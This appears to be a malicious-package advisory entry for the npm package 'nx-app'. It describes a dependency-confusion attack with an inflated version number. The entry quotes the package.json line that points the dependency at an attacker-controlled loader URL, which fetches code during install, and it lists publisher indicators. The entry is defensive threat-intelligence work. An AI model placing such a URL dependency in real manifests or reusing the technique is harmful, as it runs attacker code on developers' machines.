GCVE-110-OSM-2026-11280

This is a dependency-confusion style package that points its own name `nx-app` at a raw HTTPS loader URL, `https://repo.securityctrl.com/nx-app`, so the attacker model is whoever controls `repo.securityctrl.com` and can serve code executed during install. The `url-dependency` finding is critical because npm will fetch and trust off-registry content without integrity or signature checks, and the package's in-tree `index.js` is just an inert demo stub, confirming the manifest URL is the real delivery vector. The metadata is also strongly adverse: the publisher `sine8z` already has multiple critical malicious packages and the package uses an inflated `9999.0.0-security-test` version, a classic dependency-confusion shape. The OSV advisory `MAL-2026-15516` is corroborated by the actual manifest evidence rather than being merely advisory text. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "nx-app": "https://repo.securityctrl.com/nx-app"" DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages